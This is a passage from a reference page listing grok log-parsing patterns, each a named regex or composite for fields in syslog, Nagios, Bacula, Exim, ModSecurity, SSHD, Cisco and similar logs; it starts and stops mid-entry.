``` \w+ ``` ## NOTSPACE[โ€‹](#notspace "Direct link to NOTSPACE") Pattern : TEXTCOPY ``` \S+ ``` ## SPACE[โ€‹](#space "Direct link to SPACE") Pattern : TEXTCOPY ``` \s* ``` ## DATA[โ€‹](#data "Direct link to DATA") Pattern : TEXTCOPY ``` .*? ``` ## JAVALOGMESSAGE[โ€‹](#javalogmessage "Direct link to JAVALOGMESSAGE") Pattern : TEXTCOPY ``` (.*) ``` ## NOTDQUOTE[โ€‹](#notdquote "Direct link to NOTDQUOTE") Pattern : TEXTCOPY ``` [^"]* ``` ## DAY2[โ€‹](#day2 "Direct link to DAY2") Pattern : TEXTCOPY ``` \d{2} ``` ## RAILS\_CONSTROLLER[โ€‹](#rails_constroller "Direct link to RAILS_CONSTROLLER") Pattern : TEXTCOPY ``` [^#]+ ``` ## RUUID[โ€‹](#ruuid "Direct link to RUUID") Pattern : TEXTCOPY ``` \s{32} ``` ## SYSLOG5424PRINTASCII[โ€‹](#syslog5424printascii "Direct link to SYSLOG5424PRINTASCII") Pattern : TEXTCOPY ``` [!-~]+ ``` ## BACULA\_JOB[โ€‹](#bacula_job "Direct link to BACULA_JOB") Pattern : TEXTCOPY ``` %{USER} ``` ## BACULA\_VERSION[โ€‹](#bacula_version "Direct link to BACULA_VERSION") Pattern : TEXTCOPY ``` %{USER} ``` ## CRON\_ACTION[โ€‹](#cron_action "Direct link to CRON_ACTION") Pattern : TEXTCOPY ``` [A-Z ]+ ``` ## BACULA\_DEVICE[โ€‹](#bacula_device "Direct link to BACULA_DEVICE") Pattern : TEXTCOPY ``` %{USER} ``` ## WORD[โ€‹](#word "Direct link to WORD") Pattern : TEXTCOPY ``` \b\w+\b ``` ## BACULA\_VOLUME[โ€‹](#bacula_volume "Direct link to BACULA_VOLUME") Pattern : TEXTCOPY ``` %{USER} ``` ## TZ[โ€‹](#tz "Direct link to TZ") Pattern : TEXTCOPY ``` [A-Z]{3} ``` ## MONGO3\_COMPONENT[โ€‹](#mongo3_component "Direct link to MONGO3_COMPONENT") Pattern : TEXTCOPY ``` %{WORD}|- ``` ## NUMTZ[โ€‹](#numtz "Direct link to NUMTZ") Pattern : TEXTCOPY ``` [+-]\d{4} ``` ## MINUTE[โ€‹](#minute "Direct link to MINUTE") Pattern : TEXTCOPY ``` [0-5][0-9] ``` ## NAGIOS\_TYPE\_HOST\_ALERT[โ€‹](#nagios_type_host_alert "Direct link to NAGIOS_TYPE_HOST_ALERT") Pattern : TEXTCOPY ``` HOST ALERT ``` ## NONNEGINT[โ€‹](#nonnegint "Direct link to NONNEGINT") Pattern : TEXTCOPY ``` \b[0-9]+\b ``` ## MONGO\_WORDDASH[โ€‹](#mongo_worddash "Direct link to MONGO_WORDDASH") Pattern : TEXTCOPY ``` \b[\w-]+\b ``` ## USER[โ€‹](#user "Direct link to USER") Pattern : TEXTCOPY ``` %{USERNAME} ``` ## BACULA\_DEVICEPATH[โ€‹](#bacula_devicepath "Direct link to BACULA_DEVICEPATH") Pattern : TEXTCOPY ``` %{UNIXPATH} ``` ## REDISLOG1[โ€‹](#redislog1 "Direct link to REDISLOG1") Pattern : TEXTCOPY ``` %{REDISLOG} ``` ## SYSLOGHOST[โ€‹](#sysloghost "Direct link to SYSLOGHOST") Pattern : TEXTCOPY ``` %{IPORHOST} ``` ## SYSLOG5424SD[โ€‹](#syslog5424sd "Direct link to SYSLOG5424SD") Pattern : TEXTCOPY ``` \[%{DATA}\]+ ``` ## NUMBER[โ€‹](#number "Direct link to NUMBER") Pattern : TEXTCOPY ``` %{BASE10NUM} ``` ## ISO8601\_SECOND[โ€‹](#iso8601_second "Direct link to ISO8601_SECOND") Pattern : TEXTCOPY ``` %{SECOND}|60 ``` ## MONTHNUM2[โ€‹](#monthnum2 "Direct link to MONTHNUM2") Pattern : TEXTCOPY ``` 0[1-9]|1[0-2] ``` ## NGUSER[โ€‹](#nguser "Direct link to NGUSER") Pattern : TEXTCOPY ``` %{NGUSERNAME} ``` ## EXIM\_PID[โ€‹](#exim_pid "Direct link to EXIM_PID") Pattern : TEXTCOPY ``` \[%{POSINT}\] ``` ## YEAR[โ€‹](#year "Direct link to YEAR") Pattern : TEXTCOPY ``` (?:\d\d){1,2} ``` ## BACULA\_HOST[โ€‹](#bacula_host "Direct link to BACULA_HOST") Pattern : TEXTCOPY ``` [a-zA-Z0-9-]+ ``` ## NAGIOS\_TYPE\_SERVICE\_ALERT[โ€‹](#nagios_type_service_alert "Direct link to NAGIOS_TYPE_SERVICE_ALERT") Pattern : TEXTCOPY ``` SERVICE ALERT ``` ## MONTHNUM[โ€‹](#monthnum "Direct link to MONTHNUM") Pattern : TEXTCOPY ``` 0?[1-9]|1[0-2] ``` ## CISCO\_XLATE\_TYPE[โ€‹](#cisco_xlate_type "Direct link to CISCO_XLATE_TYPE") Pattern : TEXTCOPY ``` static|dynamic ``` ## RAILS\_CONTEXT[โ€‹](#rails_context "Direct link to RAILS_CONTEXT") Pattern : TEXTCOPY ``` (?:%{DATA}\n)* ``` ## BACULA\_LOG\_ENDPRUNE[โ€‹](#bacula_log_endprune "Direct link to BACULA_LOG_ENDPRUNE") Pattern : TEXTCOPY ``` End auto prune. ``` ## USERNAME[โ€‹](#username "Direct link to USERNAME") Pattern : TEXTCOPY ``` [a-zA-Z0-9._-]+ ``` ## POSINT[โ€‹](#posint "Direct link to POSINT") Pattern : TEXTCOPY ``` \b[1-9][0-9]*\b ``` ## QS[โ€‹](#qs "Direct link to QS") Pattern : TEXTCOPY ``` %{QUOTEDSTRING} ``` ## MODSECRULEVERS[โ€‹](#modsecrulevers "Direct link to MODSECRULEVERS") Pattern : TEXTCOPY ``` \[ver "[^"]+"\] ``` ## INT[โ€‹](#int "Direct link to INT") Pattern : TEXTCOPY ``` [+-]?(?:[0-9]+) ``` ## IP[โ€‹](#ip "Direct link to IP") Pattern : TEXTCOPY ``` %{IPV6}|%{IPV4} ``` ## NAGIOS\_EC\_ENABLE\_SVC\_CHECK[โ€‹](#nagios_ec_enable_svc_check "Direct link to NAGIOS_EC_ENABLE_SVC_CHECK") Pattern : TEXTCOPY ``` ENABLE_SVC_CHECK ``` ## NAGIOS\_TYPE\_EXTERNAL\_COMMAND[โ€‹](#nagios_type_external_command "Direct link to NAGIOS_TYPE_EXTERNAL_COMMAND") Pattern : TEXTCOPY ``` EXTERNAL COMMAND ``` ## NAGIOS\_EC\_ENABLE\_HOST\_CHECK[โ€‹](#nagios_ec_enable_host_check "Direct link to NAGIOS_EC_ENABLE_HOST_CHECK") Pattern : TEXTCOPY ``` ENABLE_HOST_CHECK ``` ## NAGIOS\_TYPE\_HOST\_NOTIFICATION[โ€‹](#nagios_type_host_notification "Direct link to NAGIOS_TYPE_HOST_NOTIFICATION") Pattern : TEXTCOPY ``` HOST NOTIFICATION ``` ## NAGIOS\_EC\_DISABLE\_SVC\_CHECK[โ€‹](#nagios_ec_disable_svc_check "Direct link to NAGIOS_EC_DISABLE_SVC_CHECK") Pattern : TEXTCOPY ``` DISABLE_SVC_CHECK ``` ## IPORHOST[โ€‹](#iporhost "Direct link to IPORHOST") Pattern : TEXTCOPY ``` %{IP}|%{HOSTNAME} ``` ## DATESTAMP[โ€‹](#datestamp "Direct link to DATESTAMP") Pattern : TEXTCOPY ``` %{DATE}[- ]%{TIME} ``` ## NAGIOS\_EC\_DISABLE\_HOST\_CHECK[โ€‹](#nagios_ec_disable_host_check "Direct link to NAGIOS_EC_DISABLE_HOST_CHECK") Pattern : TEXTCOPY ``` DISABLE_HOST_CHECK ``` ## NAGIOS\_TYPE\_HOST\_EVENT\_HANDLER[โ€‹](#nagios_type_host_event_handler "Direct link to NAGIOS_TYPE_HOST_EVENT_HANDLER") Pattern : TEXTCOPY ``` HOST EVENT HANDLER ``` ## NAGIOS\_TYPE\_CURRENT\_HOST\_STATE[โ€‹](#nagios_type_current_host_state "Direct link to NAGIOS_TYPE_CURRENT_HOST_STATE") Pattern : TEXTCOPY ``` CURRENT HOST STATE ``` ## NAGIOS\_TYPE\_PASSIVE\_HOST\_CHECK[โ€‹](#nagios_type_passive_host_check "Direct link to NAGIOS_TYPE_PASSIVE_HOST_CHECK") Pattern : TEXTCOPY ``` PASSIVE HOST CHECK ``` ## HOUR[โ€‹](#hour "Direct link to HOUR") Pattern : TEXTCOPY ``` 2[0123]|[01]?[0-9] ``` ## NAGIOS\_TYPE\_HOST\_FLAPPING\_ALERT[โ€‹](#nagios_type_host_flapping_alert "Direct link to NAGIOS_TYPE_HOST_FLAPPING_ALERT") Pattern : TEXTCOPY ``` HOST FLAPPING ALERT ``` ## NGUSERNAME[โ€‹](#ngusername "Direct link to NGUSERNAME") Pattern : TEXTCOPY ``` [a-zA-Z\.\@\-\+_%]+ ``` ## NAGIOS\_TYPE\_HOST\_DOWNTIME\_ALERT[โ€‹](#nagios_type_host_downtime_alert "Direct link to NAGIOS_TYPE_HOST_DOWNTIME_ALERT") Pattern : TEXTCOPY ``` HOST DOWNTIME ALERT ``` ## BACULA\_LOG\_BEGIN\_PRUNE\_FILES[โ€‹](#bacula_log_begin_prune_files "Direct link to BACULA_LOG_BEGIN_PRUNE_FILES") Pattern : TEXTCOPY ``` Begin pruning Files. ``` ## NAGIOS\_TYPE\_SERVICE\_NOTIFICATION[โ€‹](#nagios_type_service_notification "Direct link to NAGIOS_TYPE_SERVICE_NOTIFICATION") Pattern : TEXTCOPY ``` SERVICE NOTIFICATION ``` ## JAVAFILE[โ€‹](#javafile "Direct link to JAVAFILE") Pattern : TEXTCOPY ``` (?:[A-Za-z0-9_. -]+) ``` ## HOSTPORT[โ€‹](#hostport "Direct link to HOSTPORT") Pattern : TEXTCOPY ``` %{IPORHOST}:%{POSINT} ``` ## NAGIOS\_TYPE\_CURRENT\_SERVICE\_STATE[โ€‹](#nagios_type_current_service_state "Direct link to NAGIOS_TYPE_CURRENT_SERVICE_STATE") Pattern : TEXTCOPY ``` CURRENT SERVICE STATE ``` ## NAGIOS\_TYPE\_PASSIVE\_SERVICE\_CHECK[โ€‹](#nagios_type_passive_service_check "Direct link to NAGIOS_TYPE_PASSIVE_SERVICE_CHECK") Pattern : TEXTCOPY ``` PASSIVE SERVICE CHECK ``` ## NAGIOS\_TYPE\_SERVICE\_EVENT\_HANDLER[โ€‹](#nagios_type_service_event_handler "Direct link to NAGIOS_TYPE_SERVICE_EVENT_HANDLER") Pattern : TEXTCOPY ``` SERVICE EVENT HANDLER ``` ## NAGIOS\_TYPE\_TIMEPERIOD\_TRANSITION[โ€‹](#nagios_type_timeperiod_transition "Direct link to NAGIOS_TYPE_TIMEPERIOD_TRANSITION") Pattern : TEXTCOPY ``` TIMEPERIOD TRANSITION ``` ## EXIM\_FLAGS[โ€‹](#exim_flags "Direct link to EXIM_FLAGS") Pattern : TEXTCOPY ``` (<=|[-=>*]>|[*]{2}|==) ``` ## NAGIOS\_TYPE\_SERVICE\_DOWNTIME\_ALERT[โ€‹](#nagios_type_service_downtime_alert "Direct link to NAGIOS_TYPE_SERVICE_DOWNTIME_ALERT") Pattern : TEXTCOPY ``` SERVICE DOWNTIME ALERT ``` ## SSHD\_CORRUPT\_MAC[โ€‹](#sshd_corrupt_mac "Direct link to SSHD_CORRUPT_MAC") Pattern : TEXTCOPY ``` Corrupted MAC on input ``` ## NAGIOS\_EC\_SCHEDULE\_HOST\_DOWNTIME[โ€‹](#nagios_ec_schedule_host_downtime "Direct link to NAGIOS_EC_SCHEDULE_HOST_DOWNTIME") Pattern : TEXTCOPY ``` SCHEDULE_HOST_DOWNTIME ``` ## PATH[โ€‹](#path "Direct link to PATH") Pattern : TEXTCOPY ``` %{UNIXPATH}|%{WINPATH} ``` ## EXIM\_SUBJECT[โ€‹](#exim_subject "Direct link to EXIM_SUBJECT") Pattern : TEXTCOPY ``` (T=%{QS:exim_subject}) ``` ## NAGIOS\_TYPE\_SERVICE\_FLAPPING\_ALERT[โ€‹](#nagios_type_service_flapping_alert "Direct link to NAGIOS_TYPE_SERVICE_FLAPPING_ALERT") Pattern : TEXTCOPY ``` SERVICE FLAPPING ALERT ``` ## BACULA\_LOG\_NOPRUNE\_JOBS[โ€‹](#bacula_log_noprune_jobs "Direct link to BACULA_LOG_NOPRUNE_JOBS") Pattern : TEXTCOPY ``` No Jobs found to prune. ``` ## HTTPDUSER[โ€‹](#httpduser "Direct link to HTTPDUSER") Pattern : TEXTCOPY ``` %{EMAILADDRESS}|%{USER} ``` ## BACULA\_CAPACITY[โ€‹](#bacula_capacity "Direct link to BACULA_CAPACITY") Pattern : TEXTCOPY ``` %{INT}{1,3}(,%{INT}{3})* ``` ## EXIM\_PROTOCOL[โ€‹](#exim_protocol "Direct link to EXIM_PROTOCOL") Pattern : TEXTCOPY ``` (P=%{NOTSPACE:protocol}) ``` ## NAGIOS\_EC\_ENABLE\_SVC\_NOTIFICATIONS[โ€‹](#nagios_ec_enable_svc_notifications "Direct link to NAGIOS_EC_ENABLE_SVC_NOTIFICATIONS") Pattern : TEXTCOPY ``` ENABLE_SVC_NOTIFICATIONS ``` ## URIPROTO[โ€‹](#uriproto "Direct link to URIPROTO") Pattern : TEXTCOPY ``` [A-Za-z]+(\+[A-Za-z+]+)? ``` ## BACULA\_LOG\_NOPRUNE\_FILES[โ€‹](#bacula_log_noprune_files "Direct link to BACULA_LOG_NOPRUNE_FILES") Pattern : TEXTCOPY ``` No Files found to prune. ``` ## NAGIOS\_EC\_SCHEDULE\_SERVICE\_DOWNTIME[โ€‹](#nagios_ec_schedule_service_downtime "Direct link to NAGIOS_EC_SCHEDULE_SERVICE_DOWNTIME") Pattern : TEXTCOPY ``` SCHEDULE_SERVICE_DOWNTIME ``` ## MONGO\_QUERY[โ€‹](#mongo_query "Direct link to MONGO_QUERY") Pattern : TEXTCOPY ``` \{ \{ .* \} ntoreturn: \} ``` ## PROG[โ€‹](#prog "Direct link to PROG") Pattern : TEXTCOPY ``` [\x21-\x5a\x5c\x5e-\x7e]+ ``` ## NAGIOS\_EC\_DISABLE\_SVC\_NOTIFICATIONS[โ€‹](#nagios_ec_disable_svc_notifications "Direct link to NAGIOS_EC_DISABLE_SVC_NOTIFICATIONS") Pattern : TEXTCOPY ``` DISABLE_SVC_NOTIFICATIONS ``` ## NAGIOS\_EC\_PROCESS\_HOST\_CHECK\_RESULT[โ€‹](#nagios_ec_process_host_check_result "Direct link to NAGIOS_EC_PROCESS_HOST_CHECK_RESULT") Pattern : TEXTCOPY ``` PROCESS_HOST_CHECK_RESULT ``` ## BACULA\_LOG\_VSS[โ€‹](#bacula_log_vss "Direct link to BACULA_LOG_VSS") Pattern : TEXTCOPY ``` (Generate )?VSS (Writer)? ``` ## NAGIOS\_EC\_ENABLE\_HOST\_NOTIFICATIONS[โ€‹](#nagios_ec_enable_host_notifications "Direct link to NAGIOS_EC_ENABLE_HOST_NOTIFICATIONS") Pattern : TEXTCOPY ``` ENABLE_HOST_NOTIFICATIONS ``` ## UNIXPATH[โ€‹](#unixpath "Direct link to UNIXPATH") Pattern : TEXTCOPY ``` (/([\w_%!$@:.,~-]+|\\.)*)+ ``` ## EMAILLOCALPART[โ€‹](#emaillocalpart "Direct link to EMAILLOCALPART") Pattern : TEXTCOPY ``` [a-zA-Z0-9_.+-=:]+ ``` ## URIPATHPARAM[โ€‹](#uripathparam "Direct link to URIPATHPARAM") Pattern : TEXTCOPY ``` %{URIPATH}(?:%{URIPARAM})? ``` ## KITCHEN[โ€‹](#kitchen "Direct link to KITCHEN") Pattern : TEXTCOPY ``` \d{1,2}:\d{2}(AM|PM|am|pm) ``` ## NAGIOS\_EC\_DISABLE\_HOST\_NOTIFICATIONS[โ€‹](#nagios_ec_disable_host_notifications "Direct link to NAGIOS_EC_DISABLE_HOST_NOTIFICATIONS") Pattern : TEXTCOPY ``` DISABLE_HOST_NOTIFICATIONS ``` ## NAGIOSTIME[โ€‹](#nagiostime "Direct link to NAGIOSTIME") Pattern : TEXTCOPY ``` \[%{NUMBER:nagios_epoch}\] ``` ## RUBY\_LOGLEVEL[โ€‹](#ruby_loglevel "Direct link to RUBY_LOGLEVEL") Pattern : TEXTCOPY ``` DEBUG|FATAL|ERROR|WARN|INFO ``` ## TIME[โ€‹](#time "Direct link to TIME") Pattern : TEXTCOPY ``` %{HOUR}:%{MINUTE}:%{SECOND} ``` ## JAVATHREAD[โ€‹](#javathread "Direct link to JAVATHREAD") Pattern : TEXTCOPY ``` (?:[A-Z]{2}-Processor[\d]+) ``` ## EXIM\_MSG\_SIZE[โ€‹](#exim_msg_size "Direct link to EXIM_MSG_SIZE") Pattern : TEXTCOPY ``` (S=%{NUMBER:exim_msg_size}) ``` ## REDISTIMESTAMP[โ€‹](#redistimestamp "Direct link to REDISTIMESTAMP") Pattern : TEXTCOPY ``` %{MONTHDAY} %{MONTH} %{TIME} ``` ## NAGIOS\_EC\_PROCESS\_SERVICE\_CHECK\_RESULT[โ€‹](#nagios_ec_process_service_check_result "Direct link to NAGIOS_EC_PROCESS_SERVICE_CHECK_RESULT") Pattern : TEXTCOPY ``` PROCESS_SERVICE_CHECK_RESULT ``` ## BASE16NUM[โ€‹](#base16num "Direct link to BASE16NUM") Pattern : TEXTCOPY ``` [+-]?(?:0x)?(?:[0-9A-Fa-f]+) ``` ## ISO8601\_TIMEZONE[โ€‹](#iso8601_timezone "Direct link to ISO8601_TIMEZONE") Pattern : TEXTCOPY ``` Z|[+-]%{HOUR}(?::?%{MINUTE}) ``` ## MODSECRULEID[โ€‹](#modsecruleid "Direct link to MODSECRULEID") Pattern : TEXTCOPY ``` \[id %{QUOTEDSTRING:ruleid}\] ``` ## SYSLOGTIMESTAMP[โ€‹](#syslogtimestamp "Direct link to SYSLOGTIMESTAMP") Pattern : TEXTCOPY ``` %{MONTH} +%{MONTHDAY} %{TIME} ``` ## SSHD\_PACKET\_CORRUPT[โ€‹](#sshd_packet_corrupt "Direct link to SSHD_PACKET_CORRUPT") Pattern : TEXTCOPY ``` Disconnecting: Packet corrupt ``` ## SYSLOG5424PRI[โ€‹](#syslog5424pri "Direct link to SYSLOG5424PRI") Pattern : TEXTCOPY ``` <%{NONNEGINT:syslog5424_pri}> ``` ## EMAILADDRESS[โ€‹](#emailaddress "Direct link to EMAILADDRESS") Pattern : TEXTCOPY ``` %{EMAILLOCALPART}@%{HOSTNAME} ``` ## NAGIOS\_EC\_ENABLE\_HOST\_SVC\_NOTIFICATIONS[โ€‹](#nagios_ec_enable_host_svc_notifications "Direct link to NAGIOS_EC_ENABLE_HOST_SVC_NOTIFICATIONS") Pattern : TEXTCOPY ``` ENABLE_HOST_SVC_NOTIFICATIONS ``` ## NAGIOS\_EC\_DISABLE\_HOST\_SVC\_NOTIFICATIONS[โ€‹](#nagios_ec_disable_host_svc_notifications "Direct link to NAGIOS_EC_DISABLE_HOST_SVC_NOTIFICATIONS") Pattern : TEXTCOPY ``` DISABLE_HOST_SVC_NOTIFICATIONS ``` ## URIHOST[โ€‹](#urihost "Direct link to URIHOST") Pattern : TEXTCOPY ``` %{IPORHOST}(?::%{POSINT:port})? ``` ## EXIM\_HEADER\_ID[โ€‹](#exim_header_id "Direct link to EXIM_HEADER_ID") Pattern : TEXTCOPY ``` (id=%{NOTSPACE:exim_header_id}) ``` ## SSHD\_TUNN\_TIMEOUT[โ€‹](#sshd_tunn_timeout "Direct link to SSHD_TUNN_TIMEOUT") Pattern : TEXTCOPY ``` Timeout, client not responding. ``` ## MODSECRULEREV[โ€‹](#modsecrulerev "Direct link to MODSECRULEREV") Pattern : TEXTCOPY ``` \[rev %{QUOTEDSTRING:rulerev}\] ``` ## MCOLLECTIVEAUDIT[โ€‹](#mcollectiveaudit "Direct link to MCOLLECTIVEAUDIT") Pattern : TEXTCOPY ``` %{TIMESTAMP_ISO8601:timestamp}: ``` ## DATE[โ€‹](#date "Direct link to DATE") Pattern : TEXTCOPY ``` %{DATE_US}|%{DATE_EU}|%{DATE_X} ``` ## CISCOTAG[โ€‹](#ciscotag "Direct link to CISCOTAG") Pattern : TEXTCOPY ``` [A-Z0-9]+-%{INT}-(?:[A-Z0-9_]+) ``` ## WINPATH[โ€‹](#winpath "Direct link to WINPATH") Pattern : TEXTCOPY ``` (?:[A-Za-z]+:|\\)(?:\\[^\\?*]*)+ ``` ## DATE\_X[โ€‹](#date_x "Direct link to DATE_X") Pattern : TEXTCOPY ``` %{YEAR}/%{MONTHNUM2}/%{MONTHDAY} ``` ## SSHD\_INIT[โ€‹](#sshd_init "Direct link to SSHD_INIT") Pattern : TEXTCOPY ``` %{SSHD_LISTEN}|%{SSHD_TERMINATE} ``` ## HAPROXYCAPTUREDREQUESTHEADERS[โ€‹](#haproxycapturedrequestheaders "Direct link to HAPROXYCAPTUREDREQUESTHEADERS") Pattern : TEXTCOPY ``` %{DATA:captured_request_headers} ``` ## CISCO\_INTERVAL[โ€‹](#cisco_interval "Direct link to CISCO_INTERVAL") Pattern : TEXTCOPY ``` first hit|%{INT}-second interval ``` ## MODSECRULEFILE[โ€‹](#modsecrulefile "Direct link to MODSECRULEFILE") Pattern : TEXTCOPY ``` \[file %{QUOTEDSTRING:rulefile}\] ``` ## MODSECURI[โ€‹](#modsecuri "Direct link to MODSECURI") Pattern : TEXTCOPY ``` \[uri ["']%{DATA:targeturi}["']\] ``` ## HAPROXYCAPTUREDRESPONSEHEADERS[โ€‹](#haproxycapturedresponseheaders "Direct link to HAPROXYCAPTUREDRESPONSEHEADERS") Pattern : TEXTCOPY ``` %{DATA:captured_response_headers} ``` ## MODSECRULELINE[โ€‹](#modsecruleline "Direct link to MODSECRULELINE") Pattern : TEXTCOPY ``` \[line %{QUOTEDSTRING:ruleline}\] ``` ## MODSECRULEDATA[โ€‹](#modsecruledata "Direct link to MODSECRULEDATA") Pattern : TEXTCOPY ``` \[data %{QUOTEDSTRING:ruledata}\] ``` ## CISCO\_DIRECTION[โ€‹](#cisco_direction "Direct link to CISCO_DIRECTION") Pattern : TEXTCOPY ``` Inbound|inbound|Outbound|outbound ``` ## BACULA\_LOG\_CANCELLING[โ€‹](#bacula_log_cancelling "Direct link to BACULA_LOG_CANCELLING") Pattern : TEXTCOPY ``` Cancelling duplicate JobId=%{INT}. ``` ## SECOND[โ€‹](#second "Direct link to SECOND") Pattern : TEXTCOPY ``` (?:[0-5]?[0-9]|60)(?:[:.,][0-9]+)? ``` ## MODSECRULEMSG[โ€‹](#modsecrulemsg "Direct link to MODSECRULEMSG") Pattern : TEXTCOPY ``` \[msg %{QUOTEDSTRING:rulemessage}\] ``` ## SSHD\_TUNN\_ERR3[โ€‹](#sshd_tunn_err3 "Direct link to SSHD_TUNN_ERR3") Pattern : TEXTCOPY ``` error: bind: Address already in use ``` ## BACULA\_LOG\_STARTRESTORE[โ€‹](#bacula_log_startrestore "Direct link to BACULA_LOG_STARTRESTORE") Pattern : TEXTCOPY ``` Start Restore Job %{BACULA_JOB:job} ``` ## SYSLOGLINE[โ€‹](#syslogline "Direct link to SYSLOGLINE") Pattern : TEXTCOPY ``` %{SYSLOGBASE2} %{GREEDYDATA:message} ``` ## COMMONMAC[โ€‹](#commonmac "Direct link to COMMONMAC") Pattern : TEXTCOPY ``` (?:[A-Fa-f0-9]{2}:){5}[A-Fa-f0-9]{2} ``` ## WINDOWSMAC[โ€‹](#windowsmac "Direct link to WINDOWSMAC") Pattern : TEXTCOPY ``` (?:[A-Fa-f0-9]{2}-){5}[A-Fa-f0-9]{2} ``` ## SYSLOGPROG[โ€‹](#syslogprog "Direct link to SYSLOGPROG") Pattern : TEXTCOPY ``` %{PROG:program}(?:\[%{POSINT:pid}\])? ``` ## JAVAMETHOD[โ€‹](#javamethod "Direct link to JAVAMETHOD") Pattern : TEXTCOPY ``` (?:()|[a-zA-Z$_][a-zA-Z$_0-9]*) ``` ## DATE\_US[โ€‹](#date_us "Direct link to DATE_US") Pattern : TEXTCOPY ``` %{MONTHNUM}[/-]%{MONTHDAY}[/-]%{YEAR} ``` ## CISCOMAC[โ€‹](#ciscomac "Direct link to CISCOMAC") Pattern : TEXTCOPY ``` (?:[A-Fa-f0-9]{4}\.){2}[A-Fa-f0-9]{4} ``` ## ELB\_URIPATHPARAM[โ€‹](#elb_uripathparam "Direct link to ELB_URIPATHPARAM") Pattern : TEXTCOPY ``` %{URIPATH:path}(?:%{URIPARAM:params})? ``` ## MAC[โ€‹](#mac "Direct link to MAC") Pattern : TEXTCOPY ``` %{CISCOMAC}|%{WINDOWSMAC}|%{COMMONMAC} ``` ## MODSECUID[โ€‹](#modsecuid "Direct link to MODSECUID") Pattern : TEXTCOPY ``` \[unique_id %{QUOTEDSTRING:uniqueid}\] ``` ## BACULA\_LOG\_NOPRIOR[โ€‹](#bacula_log_noprior "Direct link to BACULA_LOG_NOPRIOR") Pattern : TEXTCOPY ``` No prior Full backup Job record found. ``` ## BACULA\_TIMESTAMP[โ€‹](#bacula_timestamp "Direct link to BACULA_TIMESTAMP") Pattern : TEXTCOPY ``` %{MONTHDAY}-%{MONTH} %{HOUR}:%{MINUTE} ``` ## MODSECMATCHOFFSET[โ€‹](#modsecmatchoffset "Direct link to MODSECMATCHOFFSET") Pattern : TEXTCOPY ``` \[offset %{QUOTEDSTRING:matchoffset}\] ``` ## DATE\_EU[โ€‹](#date_eu "Direct link to DATE_EU") Pattern : TEXTCOPY ``` %{MONTHDAY}[./-]%{MONTHNUM}[./-]%{YEAR} ``` ## MODSECHOSTNAME[โ€‹](#modsechostname "Direct link to MODSECHOSTNAME") Pattern : TEXTCOPY ``` \[hostname ['"]%{DATA:targethost}["']\] ``` ## URIPATH[โ€‹](#uripath "Direct link to URIPATH") Pattern : TEXTCOPY ``` (?:/[A-Za-z0-9$.+!*'(){},~:;=@#%_\-]*)+ ``` ## TTY[โ€‹](#tty "Direct link to TTY") Pattern : TEXTCOPY ``` /dev/(pts|tty([pq])?)(\w+)?/?(?:[0-9]+) ``` ## HTTPD\_ERRORLOG[โ€‹](#httpd_errorlog "Direct link to HTTPD_ERRORLOG") Pattern : TEXTCOPY ``` %{HTTPD20_ERRORLOG}|%{HTTPD24_ERRORLOG} ``` ## MONTHDAY[โ€‹](#monthday "Direct link to MONTHDAY") Pattern : TEXTCOPY ``` (?:0[1-9])|(?:[12][0-9])|(?:3[01])|[1-9] ``` ## BACULA\_LOG\_USEDEVICE[โ€‹](#bacula_log_usedevice "Direct link to BACULA_LOG_USEDEVICE") Pattern : TEXTCOPY ``` Using Device \"%{BACULA_DEVICE:device}\" ``` ## MODSECRULESEVERITY[โ€‹](#modsecruleseverity "Direct link to MODSECRULESEVERITY") Pattern : TEXTCOPY ``` \[severity ["']%{WORD:ruleseverity}["']\] ``` ## ANSIC[โ€‹](#ansic "Direct link to ANSIC") Pattern : TEXTCOPY ``` %{DAY} %{MONTH} [_123]\d %{TIME} %{YEAR}" ``` ## RFC822Z[โ€‹](#rfc822z "Direct link to RFC822Z") Pattern : TEXTCOPY ``` [0-3]\d %{MONTH} %{YEAR} %{TIME} %{NUMTZ} ``` ## SSHD\_CONN\_CLOSE[โ€‹](#sshd_conn_close "Direct link to SSHD_CONN_CLOSE") Pattern : TEXTCOPY ``` Connection closed by %{IP:sshd_client_ip}$ ``` ## CISCOTIMESTAMP[โ€‹](#ciscotimestamp "Direct link to CISCOTIMESTAMP") Pattern : TEXTCOPY ``` %{MONTH} +%{MONTHDAY}(?: %{YEAR})? %{TIME} ``` ## GENERICAPACHEERROR[โ€‹](#genericapacheerror "Direct link to GENERICAPACHEERROR") Pattern : TEXTCOPY ``` %{APACHEERRORPREFIX} %{GREEDYDATA:message} ``` ## CISCOFW104004[โ€‹](#ciscofw104004 "Direct link to CISCOFW104004") Pattern : TEXTCOPY ``` \((?:Primary|Secondary)\) Switching to OK\. ``` ## APACHEERRORTIME[โ€‹](#apacheerrortime "Direct link to APACHEERRORTIME") Pattern : TEXTCOPY ``` %{DAY} %{MONTH} %{MONTHDAY} %{TIME} %{YEAR} ``` ## HTTPDERROR\_DATE[โ€‹](#httpderror_date "Direct link to HTTPDERROR_DATE") Pattern : TEXTCOPY ``` %{DAY} %{MONTH} %{MONTHDAY} %{TIME} %{YEAR} ``` ## HTTPDATE[โ€‹](#httpdate "Direct link to HTTPDATE") Pattern : TEXTCOPY ``` %{MONTHDAY}/%{MONTH}/%{YEAR}:%{TIME} %{INT} ``` ## EXIM\_MSGID[โ€‹](#exim_msgid "Direct link to EXIM_MSGID") Pattern : TEXTCOPY ``` [0-9A-Za-z]{6}-[0-9A-Za-z]{6}-[0-9A-Za-z]{2} ``` ## NAGIOS\_WARNING[โ€‹](#nagios_warning "Direct link to NAGIOS_WARNING") Pattern : TEXTCOPY ``` Warning:%{SPACE}%{GREEDYDATA:nagios_message} ``` ## BACULA\_LOG\_NOJOBSTAT[โ€‹](#bacula_log_nojobstat "Direct link to BACULA_LOG_NOJOBSTAT") Pattern : TEXTCOPY ``` Fatal error: No Job status returned from FD. ``` ## EXIM\_QT[โ€‹](#exim_qt "Direct link to EXIM_QT") Pattern : TEXTCOPY ``` ((\d+y)?(\d+w)?(\d+d)?(\d+h)?(\d+m)?(\d+s)?) ``` ## REDISLOG[โ€‹](#redislog "Direct link to REDISLOG") Pattern : TEXTCOPY ``` \[%{POSINT:pid}\] %{REDISTIMESTAMP:time} \*\s ``` ## BASE10NUM[โ€‹](#base10num "Direct link to BASE10NUM") Pattern : TEXTCOPY ``` [+-]?(?:(?:[0-9]+(?:\.[0-9]+)?)|(?:\.[0-9]+)) ``` ## SYSLOGFACILITY[โ€‹](#syslogfacility "Direct link to SYSLOGFACILITY") Pattern : TEXTCOPY ``` <%{NONNEGINT:facility}.%{NONNEGINT:priority}> ``` ## COMBINEDAPACHELOG[โ€‹](#combinedapachelog "Direct link to 